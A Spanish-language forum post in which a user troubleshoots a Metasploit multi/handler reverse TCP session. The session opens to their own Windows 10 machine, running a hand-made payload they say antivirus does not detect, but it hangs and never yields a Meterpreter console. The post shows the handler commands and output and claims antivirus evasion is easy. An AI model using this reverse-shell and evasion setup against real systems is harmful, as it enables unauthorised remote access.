Foro Wifi-libre.com

Buenas

Soy haciendo purebas con metasploit y un payload que he hecho a mano para que no me detectan los antivirus.Y me sale bien porqué no esta detectado por ningun antivirus.Eso no esta complicado a hacer cuando sabes que los antivirus detectan solamente lo que conocen...

Entonces tengo un problemo, no puedo conseguir une consola meterpreter aunqué la sesión esta abierta en el terminal.Soy usando kali-linux 2021.3 con metasploit v6.1.8-dev.

Mi objectivo es mi ordenador con windows 10, al dia y con avast antivirus.

Suelo usar esos comandos con metasploit para abrir la sesión:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set EXE::Custom /tmp/koalapayload.exe
EXE::Custom => /tmp/koalapayload.exe
msf6 exploit(multi/handler) > set LHOST 192.168.1.**
LHOST => 192.168.1.**
msf6 exploit(multi/handler) > set LPORT 8111
LPORT => 8111
msf6 exploit(multi/handler) > exploit

Casi en séguida puedo ver que la sesión etsa abierta:

[*] Started reverse TCP handler on 192.168.1.**:8111
[*] Command shell session 1 opened (192.168.1.**:8111 -> 192.168.1.**:60201) at 2021-10-24 19:57:33 +0200

El problemo es que no puedo conséguir una sesión meterpreter , se abre la sesión pero se queda bloqueada.

Puedo conséguir a ver el répertorio dondé he iniciado el payload en el ordenador de la victima con el comando "dir" pero sin poder hacer nada mas."cd", "rm", "execute" y todas los otros comandos no andan.Parece que solamente puedo ver lo que hay en el ordenador de la victima sin poder hacer algo mas...

He intentado de hacer un

sessions 1

Y se queda bloqueado

sessions 1
[*] Session 1 is already interactive.

O sea he pasado la sesión en "background" para ver si podia recuperar la despuès pero no me viene tambien.

background
Background session 1? [y/N]  y
msf6 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type             Information  Connection
  --  ----  ----             -----------  ----------
  1         shell sparc/bsd               192.168.1.**:8111 -> 192.168.1.**:60201 (192.168.1.**)

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1... 

Despuès de eso nada se esta moviendo en la consola... Para probar que el problemo no viene del antivirus, le apagado pero el problemo sigue igual.He abierto una tema en el github de metasploit para ver si tendré una solucion pero no sé si no me lo van a suprimir, mi inglès esta muy limitado...

A ver si alguien me puede hechar una mano   si tengo la solucion en el git de metasploit ya la pondré aqui.